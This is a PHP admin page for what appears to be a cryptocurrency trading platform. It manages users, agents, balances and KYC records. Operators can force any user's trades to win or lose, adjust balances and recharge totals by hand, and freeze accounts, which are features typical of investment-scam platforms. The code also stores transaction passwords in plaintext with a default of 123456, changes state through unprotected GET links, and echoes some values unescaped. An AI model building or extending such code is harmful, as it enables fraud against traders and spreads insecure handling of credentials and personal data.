38451-vm/admin/users.php
2026-02-22 07:25:27 +00:00

497 lines
23 KiB
PHP

<?php
require_once __DIR__ . '/layout.php';
$db = db();
// Helper to check permissions
if (!hasPermission('manage_users')) {
echo "权限不足";
exit;
}
// Handle Quick Control
if (isset($_GET['user_id']) && isset($_GET['set_control'])) {
$id = (int)$_GET['user_id'];
$val = (int)$_GET['set_control'];
// Safety check for agents
if ($admin['is_agent']) {
$stmt = $db->prepare("SELECT id FROM users WHERE id = ? AND agent_id = ?");
$stmt->execute([$id, $admin['id']]);
if (!$stmt->fetch()) exit("无权操作");
}
$db->prepare("UPDATE users SET win_loss_control = ? WHERE id = ?")->execute([$val, $id]);
header('Location: users.php?msg=updated');
exit;
}
// Handle Delete
if (isset($_GET['delete'])) {
$id = (int)$_GET['delete'];
// Safety check for agents
if ($admin['is_agent']) {
$stmt = $db->prepare("SELECT id FROM users WHERE id = ? AND agent_id = ?");
$stmt->execute([$id, $admin['id']]);
if (!$stmt->fetch()) exit("无权操作");
}
$db->prepare("DELETE FROM users WHERE id = ?")->execute([$id]);
header('Location: users.php?msg=deleted');
exit;
}
// Handle Add/Edit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
if ($_POST['action'] === 'add') {
$username = $_POST['username'];
// Check duplicate
$stmt = $db->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
header('Location: users.php?msg=duplicate');
exit;
}
$password = password_hash($_POST['password'], PASSWORD_DEFAULT);
$transaction_password = $_POST['transaction_password'] ?? '123456';
$uid = rand(1000000, 9999999);
$agent_id = $admin['is_agent'] ? $admin['id'] : ($_POST['agent_id'] ?? null);
$remark = $_POST['remark'] ?? '';
$credit_score = isset($_POST['credit_score']) ? (int)$_POST['credit_score'] : 100;
$db->prepare("INSERT INTO users (username, password_hash, transaction_password, uid, credit_score, agent_id, remark) VALUES (?, ?, ?, ?, ?, ?, ?)")
->execute([$username, $password, $transaction_password, $uid, $credit_score, $agent_id, $remark]);
$new_user_id = $db->lastInsertId();
// Initial balance
if (isset($_POST['initial_balance']) && $_POST['initial_balance'] !== '') {
$db->prepare("INSERT INTO user_balances (user_id, symbol, available) VALUES (?, 'USDT', ?)")
->execute([$new_user_id, (float)$_POST['initial_balance']]);
}
header('Location: users.php?msg=added');
exit;
}
if ($_POST['action'] === 'edit') {
$id = (int)$_POST['user_id'];
// Safety check for agents
if ($admin['is_agent']) {
$stmt = $db->prepare("SELECT id FROM users WHERE id = ? AND agent_id = ?");
$stmt->execute([$id, $admin['id']]);
if (!$stmt->fetch()) exit("无权操作");
}
$credit_score = (int)$_POST['credit_score'];
$status = $_POST['status'];
$win_loss = (int)$_POST['win_loss_control'];
$remark = $_POST['remark'];
$email = $_POST['email'];
$total_recharge = (float)($_POST['total_recharge'] ?? 0);
$vip_level = getAutoVipLevel($total_recharge);
$sql = "UPDATE users SET credit_score = ?, status = ?, win_loss_control = ?, remark = ?, email = ?, total_recharge = ?, vip_level = ?";
$params = [$credit_score, $status, $win_loss, $remark, $email, $total_recharge, $vip_level];
if (!$admin['is_agent'] && isset($_POST['agent_id'])) {
$sql .= ", agent_id = ?";
$params[] = $_POST['agent_id'] ? (int)$_POST['agent_id'] : null;
}
$sql .= " WHERE id = ?";
$params[] = $id;
$db->prepare($sql)->execute($params);
// Handle Balance adjustment
if (!empty($_POST['balance_adj'])) {
$adj = (float)$_POST['balance_adj'];
$symbol = $_POST['adj_symbol'] ?? 'USDT';
// Check if user has record in user_balances
$stmt = $db->prepare("SELECT * FROM user_balances WHERE user_id = ? AND symbol = ?");
$stmt->execute([$id, $symbol]);
$bal = $stmt->fetch();
if ($bal) {
$db->prepare("UPDATE user_balances SET available = available + ? WHERE id = ?")
->execute([$adj, $bal['id']]);
} else {
$db->prepare("INSERT INTO user_balances (user_id, symbol, available) VALUES (?, ?, ?)")
->execute([$id, $symbol, $adj]);
}
}
// Update password if provided
if (!empty($_POST['password'])) {
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
$db->prepare("UPDATE users SET password_hash = ? WHERE id = ?")->execute([$hash, $id]);
}
// Update transaction password if provided
if (!empty($_POST['transaction_password'])) {
$db->prepare("UPDATE users SET transaction_password = ? WHERE id = ?")->execute([$_POST['transaction_password'], $id]);
}
header('Location: users.php?msg=updated');
exit;
}
}
$title = '玩家管理';
ob_start();
?>
<div class="d-flex justify-content-between align-items-center mb-4">
<div class="d-flex align-items-center gap-3">
<a href="index.php" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> 返回</a>
<h4 class="mb-0">用户列表</h4>
</div>
<button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#addUserModal">
<i class="bi bi-person-plus me-1"></i> 添加用户
</button>
</div>
<div class="card p-3 mb-4 border-0 shadow-sm card-dismissible card-auto-dismiss" data-card-id="users_instructions">
<h6 class="fw-bold mb-2"><i class="bi bi-people me-2"></i>用户管理提示</h6>
<p class="small text-muted mb-0">您可以在此查看所有注册用户的信息。通过“编辑”功能,您可以手动调整用户余额、重置密码、修改实名信息或设置全局胜率控制。点击“记录”可查看该用户的详细交易历史。</p>
</div>
<?php if (isset($_GET['msg'])): ?>
<?php if ($_GET['msg'] === 'duplicate'): ?>
<div class="alert alert-danger alert-dismissible fade show mb-4" role="alert">
用户名已存在!
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
<?php else: ?>
<div class="alert alert-success alert-dismissible fade show mb-4" role="alert">
操作成功!
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
<?php endif; ?>
<?php endif; ?>
<div class="table-container">
<table class="table table-hover align-middle">
<thead>
<tr class="text-muted small">
<th>用户ID</th>
<th>用户名 / VIP</th>
<?php if (!$admin['is_agent']): ?><th>所属代理</th><?php endif; ?>
<th>注册IP / 实时IP</th>
<th>身份证信息</th>
<th>余额 (USDT)</th>
<th>总充值</th>
<th>信用分</th>
<th>控制 / 权限</th>
<th>状态</th>
<th class="text-end">操作</th>
</tr>
</thead>
<tbody>
<?php
$sql = "SELECT u.*,
(SELECT available FROM user_balances WHERE user_id = u.id AND symbol = 'USDT') as usdt_balance,
(SELECT username FROM admins WHERE id = u.agent_id) as agent_name,
u.total_recharge as calculated_recharge,
(SELECT ip_address FROM finance_requests WHERE user_id = u.id ORDER BY created_at DESC LIMIT 1) as last_request_ip
FROM users u";
$params = [];
if ($admin['is_agent']) {
$sql .= " WHERE agent_id = ?";
$params[] = $admin['id'];
}
$sql .= " ORDER BY created_at DESC";
$stmt = $db->prepare($sql);
$stmt->execute($params);
while ($u = $stmt->fetch()):
?>
<tr>
<td><code><?= $u['uid'] ?></code></td>
<td>
<?php $dynamicVip = getAutoVipLevel($u['calculated_recharge'] ?? 0); ?>
<div class="fw-bold"><?= htmlspecialchars($u['username']) ?> <span class="badge bg-warning text-dark" style="font-size: 10px;">VIP <?= $dynamicVip ?></span></div>
<div class="text-muted" style="font-size: 11px;"><?= $u['created_at'] ?></div>
</td>
<?php if (!$admin['is_agent']): ?>
<td>
<?php if ($u['agent_name']): ?>
<span class="badge bg-light text-dark border"><?= htmlspecialchars($u['agent_name']) ?></span>
<?php else: ?>
<span class="text-muted">直属平台</span>
<?php endif; ?>
</td>
<?php endif; ?>
<td>
<div class="small text-muted">注册: <?= $u['registration_ip'] ?? '未知' ?></div>
<?php if ($u['last_request_ip']): ?>
<div class="small text-primary fw-bold mt-1">
<i class="bi bi-geo-alt-fill me-1"></i>实时: <?= $u['last_request_ip'] ?>
</div>
<?php endif; ?>
</td>
<td>
<?php if ($u['kyc_name']): ?>
<div class="small fw-bold text-primary"><?= htmlspecialchars($u['kyc_name']) ?></div>
<div class="text-muted small"><?= htmlspecialchars($u['kyc_id_number']) ?></div>
<div class="mt-1">
<?php if ($u['kyc_status'] == 1): ?>
<span class="badge bg-warning text-dark" style="font-size: 10px;">待审核</span>
<?php elseif ($u['kyc_status'] == 2): ?>
<span class="badge bg-success" style="font-size: 10px;">已认证</span>
<?php elseif ($u['kyc_status'] == 3): ?>
<span class="badge bg-danger" style="font-size: 10px;">已拒绝</span>
<?php endif; ?>
</div>
<?php else: ?>
<span class="text-muted small">未提交</span>
<?php endif; ?>
</td>
<td><span class="fw-bold text-primary"><?= number_format($u['usdt_balance'] ?? 0, 2) ?></span></td>
<td><span class="text-success small fw-bold"><?= number_format($u['total_recharge'] ?? 0, 2) ?></span></td>
<td><?= $u['credit_score'] ?></td>
<td>
<div class="btn-group btn-group-sm mb-1">
<a href="?user_id=<?= $u['id'] ?>&set_control=1" class="btn btn-outline-success <?= $u['win_loss_control'] == 1 ? 'active' : '' ?>">控赢</a>
<a href="?user_id=<?= $u['id'] ?>&set_control=2" class="btn btn-outline-danger <?= $u['win_loss_control'] == 2 ? 'active' : '' ?>">控亏</a>
<a href="?user_id=<?= $u['id'] ?>&set_control=0" class="btn btn-outline-secondary <?= $u['win_loss_control'] == 0 ? 'active' : '' ?>">正常</a>
</div>
</td>
<td>
<?php if ($u['status'] === 'frozen'): ?>
<span class="badge bg-danger">冻结</span>
<?php else: ?>
<span class="badge bg-success">正常</span>
<?php endif; ?>
</td>
<td class="text-end">
<div class="btn-group btn-group-sm">
<button class="btn btn-outline-primary" onclick="editUser(<?= htmlspecialchars(json_encode($u)) ?>)">编辑</button>
<div class="btn-group btn-group-sm">
<button type="button" class="btn btn-outline-secondary dropdown-toggle" data-bs-toggle="dropdown">记录</button>
<ul class="dropdown-menu">
<li><a class="dropdown-item" href="finance.php?user_id=<?= $u['id'] ?>">充提记录</a></li>
<li><a class="dropdown-item" href="binary.php?user_id=<?= $u['id'] ?>">秒合约</a></li>
<li><a class="dropdown-item" href="contract.php?user_id=<?= $u['id'] ?>">永续合约</a></li>
<li><a class="dropdown-item" href="spot.php?user_id=<?= $u['id'] ?>">币币订单</a></li>
</ul>
</div>
<a href="kyc.php?user_id=<?= $u['id'] ?>" class="btn btn-outline-info">实名</a>
<a href="?delete=<?= $u['id'] ?>" class="btn btn-outline-danger" onclick="return confirm('确定要删除吗?')">删除</a>
</div>
</td>
</tr>
<?php endwhile; ?>
</tbody>
</table>
</div>
<!-- Add User Modal -->
<div class="modal fade" id="addUserModal" tabindex="-1">
<div class="modal-dialog">
<form class="modal-content" method="POST">
<input type="hidden" name="action" value="add">
<div class="modal-header">
<h5 class="modal-title">添加新用户</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-6 mb-3">
<label class="form-label">用户名/手机号</label>
<input type="text" name="username" class="form-control" required>
</div>
<div class="col-md-6 mb-3">
<label class="form-label">初始信用分</label>
<input type="number" name="credit_score" class="form-control" value="100">
</div>
</div>
<div class="row">
<div class="col-md-6 mb-3">
<label class="form-label">登录密码</label>
<input type="password" name="password" class="form-control" required>
</div>
<div class="col-md-6 mb-3">
<label class="form-label">资金密码</label>
<input type="text" name="transaction_password" class="form-control" value="123456" required>
</div>
</div>
<div class="mb-3">
<label class="form-label">初始余额 (USDT)</label>
<input type="number" name="initial_balance" class="form-control" placeholder="0.00">
</div>
<div class="mb-3">
<label class="form-label">管理员备注</label>
<textarea name="remark" class="form-control" rows="2"></textarea>
</div>
<?php if (!$admin['is_agent']): ?>
<div class="mb-3">
<label class="form-label">所属代理</label>
<select name="agent_id" class="form-control">
<option value="">直属平台</option>
<?php
$agents = $db->query("SELECT id, username FROM admins WHERE is_agent = 1")->fetchAll();
foreach($agents as $a) echo "<option value='{$a['id']}'>{$a['username']}</option>";
?>
</select>
</div>
<?php endif; ?>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button>
<button type="submit" class="btn btn-primary">创建</button>
</div>
</form>
</div>
</div>
<!-- Edit User Modal -->
<div class="modal fade" id="editUserModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<form class="modal-content" method="POST">
<input type="hidden" name="action" value="edit">
<input type="hidden" name="user_id" id="edit_user_id">
<div class="modal-header">
<h5 class="modal-title">编辑用户信息 - <span id="edit_username_title"></span></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<div class="row g-3">
<div class="col-md-6">
<label class="form-label">邮箱</label>
<input type="email" name="email" id="edit_email" class="form-control">
</div>
<div class="col-md-6">
<label class="form-label">重置登录密码 (留空不改)</label>
<input type="text" name="password" class="form-control">
</div>
<div class="col-md-6">
<label class="form-label">重置提现密码 (留空不改)</label>
<input type="text" name="transaction_password" class="form-control">
</div>
<div class="col-md-6">
<label class="form-label">信用分</label>
<input type="number" name="credit_score" id="edit_credit_score" class="form-control" required>
</div>
<div class="col-md-6">
<label class="form-label">用户状态</label>
<select name="status" id="edit_status" class="form-control">
<option value="normal">正常</option>
<option value="frozen">冻结</option>
</select>
<div class="form-text">冻结后用户将无法下单交易</div>
</div>
<div class="col-md-6">
<label class="form-label">赢利控制</label>
<select name="win_loss_control" id="edit_win_loss" class="form-control">
<option value="0">正常 (随机)</option>
<option value="1">控赢 (必赢)</option>
<option value="2">控亏 (必亏)</option>
</select>
</div>
<div class="col-md-6">
<label class="form-label">VIP等级 (自动计算)</label>
<select id="edit_vip_level_display" class="form-control" disabled>
<option value="0">VIP 0</option>
<option value="1">VIP 1</option>
<option value="2">VIP 2</option>
<option value="3">VIP 3</option>
<option value="4">VIP 4</option>
<option value="5">VIP 5</option>
</select>
</div>
<div class="col-md-6">
<label class="form-label">当前累计充值 (USDT)</label>
<input type="number" step="0.01" name="total_recharge" id="edit_total_recharge" class="form-control fw-bold text-primary" oninput="updateVipDisplay(this.value)">
</div>
<?php if (!$admin['is_agent']): ?>
<div class="col-md-6">
<label class="form-label">所属代理</label>
<select name="agent_id" id="edit_agent_id_select" class="form-control">
<option value="">直属平台</option>
<?php foreach($agents as $a) echo "<option value='{$a['id']}'>{$a['username']}</option>"; ?>
</select>
</div>
<?php endif; ?>
<div class="col-12">
<label class="form-label">管理员备注</label>
<textarea name="remark" id="edit_remark" class="form-control" rows="2"></textarea>
</div>
<div class="col-12 mt-4">
<hr>
<h6>资产调整</h6>
</div>
<div class="col-md-6">
<label class="form-label">调整金额 (正数为增加, 负数为减少)</label>
<input type="number" step="0.00000001" name="balance_adj" class="form-control" placeholder="0.00">
</div>
<div class="col-md-6">
<label class="form-label">币种</label>
<select name="adj_symbol" class="form-control">
<option value="USDT">USDT</option>
<option value="BTC">BTC</option>
<option value="ETH">ETH</option>
</select>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button>
<button type="submit" class="btn btn-primary">保存修改</button>
</div>
</form>
</div>
</div>
<script>
function updateVipDisplay(recharge) {
recharge = parseFloat(recharge || 0);
let vip = 0;
if (recharge >= 250000) vip = 5;
else if (recharge >= 180000) vip = 4;
else if (recharge >= 100000) vip = 3;
else if (recharge >= 50000) vip = 2;
else if (recharge >= 10000) vip = 1;
document.getElementById('edit_vip_level_display').value = vip;
}
function editUser(user) {
document.getElementById('edit_user_id').value = user.id;
document.getElementById('edit_username_title').innerText = user.username;
document.getElementById('edit_email').value = user.email || '';
document.getElementById('edit_credit_score').value = user.credit_score;
document.getElementById('edit_status').value = user.status;
document.getElementById('edit_win_loss').value = user.win_loss_control;
// Use calculated VIP level for display
const recharge = parseFloat(user.total_recharge || 0);
document.getElementById('edit_total_recharge').value = recharge.toFixed(2);
let vip = 0;
if (recharge >= 250000) vip = 5;
else if (recharge >= 180000) vip = 4;
else if (recharge >= 100000) vip = 3;
else if (recharge >= 50000) vip = 2;
else if (recharge >= 10000) vip = 1;
document.getElementById('edit_vip_level_display').value = vip;
document.getElementById('edit_remark').value = user.remark || '';
if (document.getElementById('edit_agent_id_select')) {
document.getElementById('edit_agent_id_select').value = user.agent_id || '';
}
var modal = new bootstrap.Modal(document.getElementById('editUserModal'));
modal.show();
}
</script>
<?php
$content = ob_get_clean();
renderAdminPage($content, $title);
?>